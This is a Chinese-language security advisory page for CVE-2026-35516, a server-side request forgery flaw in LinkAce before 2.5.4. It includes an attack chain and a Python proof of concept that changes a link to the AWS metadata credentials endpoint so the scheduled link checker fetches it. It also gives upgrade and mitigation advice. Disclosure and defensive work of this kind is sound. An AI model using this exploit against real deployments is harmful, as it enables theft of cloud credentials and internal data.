IPBUF安全漏洞报告
English
CVE-2026-35516 CVSS 5.0 中危

CVE-2026-35516 LinkAce 服务端请求伪造漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35516
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LinkAce

相关标签

SSRFLinkAceCWE-918内网穿透信息泄露

漏洞概述

LinkAce在2.5.4版本之前的版本中存在服务端请求伪造漏洞。由于系统核心组件未对私有IP地址进行严格校验,低权限认证用户可通过构造特定链接,利用后台定时任务触发对内网资源的访问。该漏洞允许攻击者读取AWS云元数据、内部API响应及网络拓扑信息,造成敏感数据泄露。

技术细节

该漏洞源于LinkAce的LinkRepository::update方法和CheckLinksCommand::checkLink命令在处理URL时,缺乏对私有IP地址段(如127.0.0.0/8, 10.0.0.0/8等)的有效过滤。攻击者利用低权限账户登录系统后,首先创建一个指向合法公网URL的链接,随后利用系统允许更新链接的特性,将目标URL修改为内部服务的私有IP地址(例如AWS IMDSv1的169.254.169.254)。当系统后台执行links:check定时任务时,会直接从服务端向该恶意指定的内网地址发起HTTP请求。由于该请求绕过了前端校验且未在服务端进行IP拦截,攻击者即可通过解析检查结果读取内部API的响应数据,进而获取云服务凭证、数据库凭证或敏感的内部服务信息。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者注册或获取一个低权限账户,登录LinkAce管理界面。
STEP 2
2. 创建恶意链接
攻击者创建一个新的链接,初始使用合法的公网URL以绕过基本的创建验证。
STEP 3
3. 利用更新功能
利用LinkRepository::update方法,将链接的URL修改为内网私有IP地址(如AWS元数据服务地址),系统未对更新操作进行私有IP校验。
STEP 4
4. 触发服务端请求
等待或诱导系统执行links:check定时任务。CheckLinksCommand::checkLink会从服务端发起对更新后URL的HTTP请求。
STEP 5
5. 获取敏感信息
攻击者通过查看链接的检查结果或响应数据,获取内网服务返回的敏感信息(如云凭证)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:8000" username = "attacker" password = "password" # 1. Login to get session session = requests.Session() login_payload = {"email": username, "password": password} login_resp = session.post(f"{target_url}/login", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) # 2. Create a new link with a public URL create_payload = {"url": "http://example.com", "title": "Test Link"} create_resp = session.post(f"{target_url}/api/links", json=create_payload) link_id = create_resp.json().get('id') print(f"Created link ID: {link_id}") # 3. Update the link to a private IP (SSRF payload) # Targeting AWS IMDSv1 ssrf_payload = {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} update_resp = session.patch(f"{target_url}/api/links/{link_id}", json=ssrf_payload) if update_resp.status_code == 200: print("Link updated to internal IP. Waiting for cron job...") else: print("Update failed") # 4. Check the link details to see the response (if cached or returned) # Note: Exploitation depends on the 'links:check' cron job running server-side check_resp = session.get(f"{target_url}/api/links/{link_id}") print(f"Link details: {check_resp.text}")

影响范围

LinkAce < 2.5.4

防御指南

临时缓解措施
建议立即将LinkAce升级到2.5.4或更高版本以修复此漏洞。如果无法立即升级,应暂时禁用链接检查的定时任务(links:check),并在网络层面严格限制应用服务器对内网IP段(如169.254.169.254, 10.0.0.0/8等)的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表